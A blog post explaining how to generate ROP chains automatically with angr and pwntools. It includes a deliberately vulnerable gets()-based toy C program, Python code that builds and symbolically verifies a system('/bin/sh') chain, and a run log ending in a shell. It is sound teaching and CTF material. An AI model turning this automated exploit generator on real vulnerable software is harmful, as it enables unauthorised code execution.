Automatic Rop Chain Generation

The code and and example used for this post can be found here.

Battelle hosted a winter CTF recently that included a problem on automatic rop chain generation and a solution posted by Teddy Heinen used some code on this blog to perform the initial vulnerability discovery.

ROP chain generation is hard, but angr provides a couple emulation and constraint solving pieces that can make problems like this substantially easier to solve or generate chains for. This post won't talk about the intended ret2dlresolv technique to call the "holy_grail" function, but instead talk about the fundamentals behind building rop chains and apply contraints through rop chain's gadgets to a given program state that overwrites the program counter.

The post on overflow discovery here, describes using a step function to check a given program state being emulated by angr at every "step" to see if a the program counter can be set to "CCCCCCCC". We can reuse this snippet of code to test if our rop chain satisfies a program constraints like below:

def check_mem_corruption(simgr):
    # Check for unconstrainted state where we control the
    # program counterelf
    for state in simgr.unconstrained:
        if state.satisfiable(extra_constraints=[state.regs.pc == b"CCCCCCCC"]):

            # Here we know we can arbitrarily set the program counter,
            # so now we want to set it to a ropchain we generate for the
            # program
            pc_overwrite = state.posix.dumps(
                0, extra_constraints=[state.regs.pc == b"CCCCCCCC"]
            )
            log.info("We can overwrite the PC with : {}".format(pc_overwrite))
            log.info(
                "PC overwrite starts at : {}".format(pc_overwrite.index(b"CCCCCCCC"))
            )

            rop_chain_bytes = get_rop_chain(state)
            log.info("We can run our ropchain with : {}".format(rop_chain_bytes))

            if state.satisfiable():
                state.globals["rop_chain_bytes"] = rop_chain_bytes
                simgr.stashes["mem_corrupt"].append(state)

            simgr.stashes["unconstrained"].remove(state)
            simgr.drop(stash="active")
    return simgr

The example problem being used for this blog post contains a trivial buffer overflow with gadgets conveniently located inside the main binary. This technique can be paired with gadget finding a build in libc given a leak like Zeratool does. The code we're exploiting is below:

#include <stdio.h>

//gcc -fno-stack-protector \
//	-Wno-implicit-function-declaration -no-pie \
//	-Wno-format-security -z relro buffer_overflow.c \
//	-o buffer_overflow_64bit
int pwn_me()
{
    char my_buf[20] = {'\x00'};
    printf("Your buffer is at %p\n", my_buf);
    gets(my_buf);
    return 0;
}

void does_nothing()
{
    puts("/bin/sh");
    execve(NULL,NULL,NULL);
    system("sleep 1");
}

void main()
{
    puts("pwn_me:");
    pwn_me();
}

The build of our rop chain is broken up into a couple parts:

  • gadget finding

  • gadget chaining

  • constraint applying

  • state emulation

def get_rop_chain(state):

    """
    We're using a copy of the original state since we are applying
    constraints one at a time and stepping through the state.
    """
    state_copy = state.copy()

    binary_name = state.project.filename

    pwntools_elf = ELF(binary_name)

    """
    Here we're getting the ropchain bytes and rop chain object
    that has the individual gadget addresses and values
    """
    rop_object, rop_chain = generate_standard_rop_chain(binary_name)

    """
    Here we're running through the program state and setting
    each gadget.
    """
    user_input, new_state = do_64bit_rop_with_stepping(
        pwntools_elf, rop_object, rop_chain, state_copy
    )

    """
    With our constraints set, our binary's STDIN
    should now contain our entire overflow + ropchain!
    """
    input_bytes = new_state.posix.dumps(0)

    return input_bytes

Gadget finding and Gadget chaining

The two steps for finding gadgets and chaining them together has warranted many blog posts, but for simple chains we can use the built-in rop chain finding and generation from pwntools! Ultimately for this simple chain we want to call either system("/bin/sh") or execve("/bin/sh",NULL,NULL).

So we can use the built in methods in pwntools' ROP class to find gadgets and the built-in methods in pwntool's ELF class to locate /bin/sh references.

For amd64 ROP chaining, there also another issue sometimes called the "movabs" issue. Where when constructing a system("/bin/sh") chain, the movabs instruction inside of the function will segfault and not finish executing our system call. The way around this is to add a RET rop gadget to align the stack and enable the call to succeed.

def generate_standard_rop_chain(binary_path):
    context.binary = binary_path
    elf = ELF(binary_path)
    rop = ROP(elf)

    # These are strings we want to call
    strings = [b"/bin/sh\x00", b"/bin/bash\x00"]
    functions = ["system", "execve"]

    """
    The two main components we need in our rop chain
    is either a system() or exec() call and a refernce
    to the string we want to call (/bin/sh)
    """
    ret_func = None
    ret_string = None

    """
    angr can find these functions using the loader reference
    p.loader, however we'll need to use pwntools for the rop
    chain generation anyways, so we'll just stick with pwntools
    """
    for function in functions:
        if function in elf.plt:
            ret_func = elf.plt[function]
            break
        elif function in elf.symbols:
            ret_func = elf.symbols[function]
            break

    # Find the string we want to pass it
    for string in strings:
        str_occurences = list(elf.search(string))
        if str_occurences:
            ret_string = str_occurences[0]
            break

    if not ret_func:
        raise RuntimeError("Cannot find symbol to return to")
    if not ret_string:
        raise RuntimeError("Cannot find string to pass to system or exec call")

    # movabs fix
    """
    During amd64 ropchaining, there is sometimes a stack alignment
    issue that folks call the `movabs` issue inside of a system()
    call.Adding a single rop-ret gadget here fixes that.
    """
    rop.raw(rop.ret.address)

    """
    The pwntools interface is nice enough to enable us to construct
    our chain with a rop.call function here.
    """
    rop.call(ret_func, [ret_string])

    log.info("rop chain gadgets and values:\n{}".format(rop.dump()))

    """
    We need both the generated chain and gadget addresses for when
    we contrain theprogram state to execute and constrain this chain,
    so we pass back both the rop tools refernce along with the chain.
    """
    return rop, rop.build()

Constraining the rop chain

With a list of our gadgets and the chain we want to use, the next step is getting our program simulation/emulation to run and verify that this chain will work. For this step in 64bit rop chain building we need to build our constraints in one of two ways depending on whether the piece of the ropchain is a code-execution gadget, or whether it's a data piece for a push/pop call.

Code execution rop gadgets

For this first step, it is very similar to our PC overwrite detection portion from the top of this page, where we are seeing if setting the program counter to the code-execution gadget is satiable:

There is one catch though if our chain uses an existing function call because we're emulating through angr. angr will use SimProcedures to emulate certain function calls for speed and accuracy to better represent what usually happens on a given function call. When the emulation hits one of these procedures, our rop chain building piece will break since we're not jumping or ROPing into the actual function, but instead the SimProcedure. So we have a special case here, where if we're stepping into one of those functions, we will emulate using the SimProcedure, but set the PC to the expected program entry for it.

if new_state.satisfiable(extra_constraints=([new_state.regs.pc == gadget])):
    """
    For the actual ROP gadgets, we're stepping through them
    until we hit an unconstrained value - We did a `ret` back
    onto the symbolic stack.
    This process is slower than just setting the whole stack
    to the chain, but in testing it seems to work more reliably
    """
    log.info("Setting PC to {}".format(hex(gadget)))
    new_state.add_constraints(new_state.regs.pc == gadget)

    """
    Since we're emulating the program's execution with angr we
    will run into an issue when executing any symbols. Where a
    SimProcedure will get executed instead of the real function,
    which then gives us the wrong constraints/execution for our
    rop_chain
    """
    if gadget in elf_symbol_addrs:
        log.info(
            "gadget is hooked symbol, contraining to real address, but calling SimProc"
        )
        symbol = [x for x in elf.symbols.items() if gadget == x[1]][0]
        p = new_state.project
        new_state.regs.pc = p.loader.find_symbol(symbol[0]).rebased_addr

    """
    There is no point in letting our last gadget run, we have all
    the constraints on our input to trigger the leak
    """
    if i == len(rop_chain) - 1:
        break

    """
    Since we're stepping through a ROP chain, VEX IR wants to
    try and lift the whole block and emulate a whole block step
    this will break what we're trying to do, so we need to
    tell it to try and emulate single-step execution as closely
    as we can with the opt_level=0    
    """
    rop_simgr = new_state.project.factory.simgr(new_state)
    rop_simgr.explore(opt_level=0)
    new_state = rop_simgr.unconstrained[0]

Data/Register setting rop gadgets

When we're setting stack data or registers, then we need to emulate it a little differently based on the last rop gadget we used. We can cache the gadget and use pwntool's ROP object to dump out which registers it interacts with. Then for each register we want to push or pop we can set the next 8 bytes of our chain to the expected rop chain value:

The code below sets our unconstrained registers to concrete values based off the ropcain, which in turn will set a value on the stack or where ever our chain is to the expected value. If we've finished setting registers we set "current registers" to an empty list to signal to the rest of the constraining process that we're ready for a code-execution gadget.

"""
Case 2: We're setting a register to an expected popped value

Usually for 64bit rop chains, we're passing values into
the argument registers like RDI.
"""
next_reg = curr_rop.regs.pop()
log.debug("Setting register : {}".format(next_reg))

gadget_msg = gadget
if isinstance(gadget, int):
    gadget_msg = hex(gadget)

state_reg = getattr(new_state.regs, next_reg)
if state_reg.symbolic and new_state.satisfiable(
    extra_constraints=([state_reg == gadget])
):

    log.info("Setting {} to {}".format(next_reg, gadget_msg))

    new_state.add_constraints(state_reg == gadget)
else:
    log.error("unsatisfied on {} -> {}".format(next_reg, gadget_msg))
    break

if len(curr_rop.regs) == 0:
    curr_rop = None

Once all of our constraints are in-place, the constraint solving on whatever input to our program is, is in place and we can then dump out our STDIN/ARG/Other input and have angr run the constraint solver piece. For the toy-example included with the problem, it's reading from STDIN, so we can use the state's posix attribute to call dumps and give us the STDIN required to trigger it.

The full run of the toy-example with our solve will look like this:

./auto_rop_chain.py ./buffer_overflow_64bit 
WARNING | 2022-01-15 13:56:49,675 | angr.simos.simos | stdin is constrained to 400 bytes (has_end=True). If you are only providing the first 400 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefa7c with 4 unconstrained bytes referenced from 0x4010d9 (_start+0x9 in buffer_overflow_64bit (0x4010d9))
WARNING | 2022-01-15 13:56:50,048 | angr.procedures.libc.gets | The use of gets in a program usually causes buffer overflows. You may want to adjust SimStateLibc.max_gets_size to properly mimic an overflowing read.
WARNING | 2022-01-15 13:56:51,152 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 Reverse(input_0_3200[2879:2816])>
[*] We can overwrite the PC with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00CCCCCCCC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO    | 2022-01-15 13:56:51,214 | pwnlib.exploit | We can overwrite the PC with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00CCCCCCCC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] PC overwrite starts at : 40
INFO    | 2022-01-15 13:56:51,216 | pwnlib.exploit | PC overwrite starts at : 40
[*] '/home/chris/projects/auto_rop_chain/buffer_overflow_64bit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
INFO    | 2022-01-15 13:56:51,225 | pwnlib.elf.elf | '/home/chris/projects/auto_rop_chain/buffer_overflow_64bit'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './buffer_overflow_64bit'
INFO    | 2022-01-15 13:56:51,254 | pwnlib.rop.rop | Loaded 14 cached gadgets for './buffer_overflow_64bit'
[*] rop chain gadgets and values:
    0x0000:         0x40101a ret
    0x0008:         0x4012d3 pop rdi; ret
    0x0010:         0x40201a [arg0] rdi = 4202522
    0x0018:         0x401094
INFO    | 2022-01-15 13:56:51,255 | pwnlib.exploit | rop chain gadgets and values:
0x0000:         0x40101a ret
0x0008:         0x4012d3 pop rdi; ret
0x0010:         0x40201a [arg0] rdi = 4202522
0x0018:         0x401094
[*] Setting PC to 0x40101a
INFO    | 2022-01-15 13:56:51,260 | pwnlib.exploit | Setting PC to 0x40101a
WARNING | 2022-01-15 13:56:52,279 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 input_0_3200[2759:2752] .. input_0_3200[2767:2760] .. input_0_3200[2775:2768] .. input_0_3200[2783:2776] .. input_0_3200[2791:2784] .. input_0_3200[2799:2792] .. input_0_3200[2807:2800] .. input_0_3200[2815:2808]>
[*] Setting PC to 0x4012d3
INFO    | 2022-01-15 13:56:52,282 | pwnlib.exploit | Setting PC to 0x4012d3
WARNING | 2022-01-15 13:56:53,362 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 input_0_3200[2631:2624] .. input_0_3200[2639:2632] .. input_0_3200[2647:2640] .. input_0_3200[2655:2648] .. input_0_3200[2663:2656] .. input_0_3200[2671:2664] .. input_0_3200[2679:2672] .. input_0_3200[2687:2680]>
DEBUG   | 2022-01-15 13:56:53,362 | pwnlib.exploit | Setting register : rdi
[*] Setting rdi to 0x40201a
INFO    | 2022-01-15 13:56:53,365 | pwnlib.exploit | Setting rdi to 0x40201a
[*] Setting PC to 0x401094
INFO    | 2022-01-15 13:56:53,452 | pwnlib.exploit | Setting PC to 0x401094
[*] gadget is hooked symbol, contraining to real address, but calling SimProc
INFO    | 2022-01-15 13:56:53,453 | pwnlib.exploit | gadget is hooked symbol, contraining to real address, but calling SimProc
[*] We can run our ropchain with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xd3\x12@\x00\x00\x00\x00\x00\x1a @\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO    | 2022-01-15 13:56:53,493 | pwnlib.exploit | We can run our ropchain with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xd3\x12@\x00\x00\x00\x00\x00\x1a @\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Wrote rop chain to file : ./pwn_input
INFO    | 2022-01-15 13:56:53,495 | pwnlib.exploit | Wrote rop chain to file : ./pwn_input
[*] Try running : cat ./pwn_input - | ././buffer_overflow_64bit
INFO    | 2022-01-15 13:56:53,495 | pwnlib.exploit | Try running : cat ./pwn_input - | ././buffer_overflow_64bit
(angr_pwn)   auto_rop_chain git:(master)  cat ./pwn_input - | ./buffer_overflow_64bit 
pwn_me:
Your buffer is at 0x7fffffffdc50

id
uid=1000(chris) gid=1000(chris) groups=1000(chris),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
ls
Makefile  auto_rop_chain.py  buffer_overflow.c	buffer_overflow_64bit  pwn_input  readme.md
[1]    443826 done                              cat ./pwn_input - | 
       443827 segmentation fault (core dumped)  ./buffer_overflow_64bit

Last updated